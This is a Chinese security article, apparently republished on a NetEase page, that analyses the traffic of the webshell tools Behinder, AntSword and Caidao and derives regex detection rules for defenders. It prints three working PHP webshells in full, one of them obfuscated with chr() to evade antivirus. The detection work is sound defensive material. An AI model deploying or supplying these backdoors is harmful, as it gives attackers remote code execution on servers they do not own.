网易首页 > 网易号 > 正文 申请入驻

Webshell连接工具流量分析(上)

0
分享至

文章目录

  • webshell连接工具流量分析
  • 冰蝎(Behinder)
  • 蚁剑(AntSword)

webshell连接工具流量分析

本文章适合刚开始学习流量分析的朋友,大佬就可以绕过了,写的比较基础。我也是一个小白,总结一下对于webshell连接工具的使用技巧和一些规则,也分享一些自己觉得好用的方法给大家,欢迎大家帮我补充,有什么好用的技巧也可以分享一下,大家共同进步。本篇大部分内容都是自己总结的,如果有什么不对的或者不好的地方希望大家不要喷我,但是欢迎帮我指正。最后希望大家可以关注我的专栏。有任何疑问可以私信我。

最近接到个任务,对现在比较热门的webshell连接工具,菜刀、冰蝎、蚁剑,进行一下流量分析。

冰蝎(Behinder)

什么是冰蝎?

顾名思义,冰蝎是一种来自于东南亚的致命毒蝎,它尾部释放的毒液具有致幻作用,同时也可以入药,而且。。。嗯,编不下去了。回到正题。

菜刀作为老一代wenshell连接工具,它的流量特征十分明显,现如今的安全设备基本上都可以识别到菜刀的流量。现在的菜刀基本都是在安全教学中使用,现在加密webshell已经走进了大众的视野,使用这种工具管理webshell,从连接到各种操作所有流量都是加密的,很多传统的waf,webhids很难检测到。这给企业带来了新的挑战。而冰蝎就是其中的佼佼者,它是一款动态二进制加密网站管理客户端,会给流量分析应用带来很大的困扰,接下来将会对这些工具的流量特征、检测方案进行简单探讨。

这个是冰蝎的专属webshell

<?php session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key); $arr=explode('|',$decrptContent); $func=$arr[0]; $params=$arr[1]; $func($params); } ?>

我们来看一下官方给出的处理过程:

首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。

客户端将源代码,如assert|eval(“phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval(“phpinfo();”)。

服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval(“phpinfo();”)。

以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert(“eval(\”phpinfo;\”)”) 。

在测试服务器上放上我们冰蝎的专属webshell。把代理挂到burp上。

这个是冰蝎的连接请求也就是首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。其实针对这个过程我们可以写一个检测规则。

Behinder-connect-server 第一组规则(注意这一组规则必须结合使用,不然误报非常严重) ['request_url']: \.(php|jsp|asp|jspx|asa)\?(\w){1,15}=\d{2,3}$
['response_body']: [a-z0-9]{16}$

这一组规则实际测试的效果很不错,误报也很少。有图为证,这个是实时抓取到的攻击特征流量。

冰蝎连接后的特征流量如下图:

结合连接时和连接后的特征流量。可以总结如下共同特征

冰蝎流量共同特征 1.Cookie: PHPSESSID=gkomf5c9n7psaok9gul7r41jd3; path=/
2.Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
3.CAAhauBRkRWLw5WtdsJlyWv8COGLQazBUsgfx/9tKw1i5h8/lOYGNaDuoGX/dlCsq6neISlaRj2lrupZJm6IN6FngHEImmUhvCe2vzcd/CSJD711SvbS448PHdJ

对于共同特征我们并没有选取user-agent,因为这个特征攻击者很容易修改掉,从而产生大量误报。

Behinder-webshell 第二组规则 ['Cookie']: PHPSESSID=^[A-Za-z0-9]+$; path=/
['Accept']:text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
['request_body']:^[A-Za-z0-9/+=]+$
['response_body']:^[A-Za-z0-9/+=]+$
['response_code']: 200

包含匹配响应码的匹配主要时为了降低误报,同时包含匹配可以大大提高规则命中的效率。其实对于网络中攻击流量,安全人员更关心的是攻击成功的部分,而攻击尝试同样也值得我们注意。

蚁剑(AntSword)

什么是蚁剑?

难道是蚂蚁在月下独舞尚方宝剑?非也非也!

我们来看看官方介绍:

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!

同样的蚁剑也支持代理功能,我们还是将其代理到burp中便于进行流量分析。

我在测试中使用的这个webshell很经典,曾经号称可以绕过各大杀软。

testlele1.php

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_(); ?>

这一组规则是蚁剑在连接服务器端的webshell时产生的

AntSword-connect-server ['request_url']: ini_set\(.*display_errors
['response_code']: 200

base64混淆流量

chr混淆流量

chr16混淆流量

rot13混淆流量

菜刀(caidao)

什么是菜刀?

这里并不是我们平时切菜用的菜刀,如果您需要切菜用的菜刀请到某宝某东某多购买。

中国菜刀是一款c/s型的webshell管理工具,它不像传统的asp恶意脚本或php恶意脚本上传到网站上可以直接打开,它有自己的服务端程序,但是这个服务端程序却极小,只有一句代码,因此保证了webshell的隐蔽性,并且它实现的功能也是非常强大的。作者老兵,一个朴实,低调的技术牛人。

注意:菜刀内部是没有设置代理的功能的,这里我们需要客户端的流量分析工具,这里我推荐大家使用proxifier或者httpanalyzerstd。下边就是它们的界面图。

proxifier

httpanalyzerstd

这也是一个很经典的webshell

<?php array_map("ass\x65rt",(array)$_REQUEST['door']);?>

三个版本菜刀的连接流量以及进行操作的流量

11版本的菜刀流量

11版本菜刀规则总结 ['request_body']: eval.*QGluaV9zZXQo
['response_code']: 200
['response_body']: ->\|((.*\n)+|.*)\|<-

14版本的菜刀流量

14版本菜刀规则总结 ['request_body']: $xx.*chr\(.*QGluaV9zZXQo
['response_code']: 200
['response_body']: ->\|((.*\n)+|.*)\|<-

16版本的菜刀流量

16版本菜刀规则总结 ['request_body']: array_map.*QGluaV9zZXQo
['response_code']: 200
['response_body']: ^X@Y((.*\n)+|.*)X@Y$

可以看到三个版本的菜刀都有这一串字符QGluaV9zZXQo,解码后的内容是不是有些似曾相识,我们在对蚁剑连接服务器wenshell的流量进行分析时也见到过这一串字符,其实不止这么短,但是对规则而言已经足够了。蚁剑的核心源代码有很多都是借鉴菜刀的,这也说明宝刀虽老,但是精神长存啊!

专栏

更多精彩#&nbspwebshell# 中国菜刀# 冰蝎# 流量分析# 蚁剑

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
陈小春晒俩儿子同框!6岁HoHo剪掉长发变帅小伙,一句话道尽兄弟情深

陈小春晒俩儿子同框!6岁HoHo剪掉长发变帅小伙,一句话道尽兄弟情深

今古深日报
2026-07-20 12:18:11
《功夫女足》票房井喷,诞生4个赢家2位输家,张艺兴热巴位列其中

《功夫女足》票房井喷,诞生4个赢家2位输家,张艺兴热巴位列其中

剧芒芒
2026-07-18 12:33:31
霍启山被传婚讯后,携女伴现身纽约看世界杯,网友:是娜然吗?

霍启山被传婚讯后,携女伴现身纽约看世界杯,网友:是娜然吗?

白面书誏
2026-07-20 15:27:09
俄莫斯科州州长:3名中国公民在无人机袭击中受伤

俄莫斯科州州长:3名中国公民在无人机袭击中受伤

界面新闻
2026-07-20 16:32:42
离婚早有预兆?香港男星官宣8年婚姻结束,这些细节早有迹可循

离婚早有预兆?香港男星官宣8年婚姻结束,这些细节早有迹可循

孤傲何妨初
2026-07-21 00:20:02
深圳地铁实现进站安检全覆盖,新规首日大排长龙,官方温馨提醒

深圳地铁实现进站安检全覆盖,新规首日大排长龙,官方温馨提醒

21世纪经济报道
2026-07-20 18:04:18
4天8亿被偷,周星驰只回了3个问号,比骂街还狠

4天8亿被偷,周星驰只回了3个问号,比骂街还狠

手工制作阿歼
2026-07-21 00:12:04
西方人实在想不通:四十度高温,十几亿中国人怎么敢全天开空调

西方人实在想不通:四十度高温,十几亿中国人怎么敢全天开空调

娱乐的硬糖吖
2026-07-20 00:01:46
新冠病毒又开始活跃了,三针科兴遭网友热议

新冠病毒又开始活跃了,三针科兴遭网友热议

映射生活的身影
2026-07-18 21:52:52
谢贤离世不到4小时令人担忧的事还是发生了遗产分配只是冰山一角

谢贤离世不到4小时令人担忧的事还是发生了遗产分配只是冰山一角

不似少年游
2026-07-20 22:01:34
穆杰塔巴骗了所有人?伊朗空袭美军基地是假象,真正目标并非美国

穆杰塔巴骗了所有人?伊朗空袭美军基地是假象,真正目标并非美国

混沌录
2026-07-19 23:26:09
中国有一个奇怪现象:亲家和亲家之间,好像都不怎么联系

中国有一个奇怪现象:亲家和亲家之间,好像都不怎么联系

艺鉴在线
2026-07-21 00:20:33
黄子韬唱到一半发现裤子开了,现场六千人盯着看,他脸红得像煮虾

黄子韬唱到一半发现裤子开了,现场六千人盯着看,他脸红得像煮虾

东方不败然多多
2026-07-20 10:29:06
89岁谢贤去世,生前将儿子送的千万劳斯莱斯卖掉,只为给女友还债

89岁谢贤去世,生前将儿子送的千万劳斯莱斯卖掉,只为给女友还债

追踪之点
2026-07-20 19:09:50
福建3位代县(市、区)长上任

福建3位代县(市、区)长上任

海峡网
2026-07-20 19:22:30
套路太深!深扒邹市明没有上海户口原因:3个孩子3地户籍,有1个是美国籍

套路太深!深扒邹市明没有上海户口原因:3个孩子3地户籍,有1个是美国籍

火山詩话
2026-07-20 06:38:39
太敢拍了!53岁格温妮丝全裸出镜被骂上热搜,商业帝国打脸全网

太敢拍了!53岁格温妮丝全裸出镜被骂上热搜,商业帝国打脸全网

知法而形
2026-07-19 17:05:30
四年后再见,再无梅罗!2030世界杯六国联办,南美三国揭幕战!

四年后再见,再无梅罗!2030世界杯六国联办,南美三国揭幕战!

海浪星体育
2026-07-20 09:47:51
彻底黄了!俄罗斯明确宣布了!

彻底黄了!俄罗斯明确宣布了!

故事终将光明磊落
2026-07-20 09:39:39
潮汕女孩“眼神不对劲”,让家长怒了:我女儿长这样做梦都笑醒!

潮汕女孩“眼神不对劲”,让家长怒了:我女儿长这样做梦都笑醒!

泽泽先生
2026-07-20 16:27:23
2026-07-21 00:55:00
FreeBuf
FreeBuf
互联网安全新媒体
5548文章数 1757关注度
往期回顾 全部

科技要闻

网易科技"未来大奖2026上半年AI榜单"揭晓

头条要闻

媒体:驱逐所有以色列人 马来西亚对以强硬几乎零成本

头条要闻

媒体:驱逐所有以色列人 马来西亚对以强硬几乎零成本

体育要闻

65岁肌肉男,世界杯最年长冠军主帅

娱乐要闻

谢霆锋发文确认父亲谢贤去世 享年89岁

财经要闻

AI开始挤泡沫

汽车要闻

综合续航超1600km 2027款星途ES上市置换价16.99万起

态度原创

亲子
时尚
健康
本地
军事航空

亲子要闻

宝蓝和爸爸玩过家家,扮演美食摊主,比赛看谁的生意好~

夏天才最适合穿连衣裙,看看这些裙装穿搭,舒适优雅又清新

“斑块”患者要小心中风?

本地新闻

2026暑期旅行新灵感:跟着影视去旅行

军事要闻

两名美军士兵死亡 美伊冲突升级

无障碍浏览 进入关怀版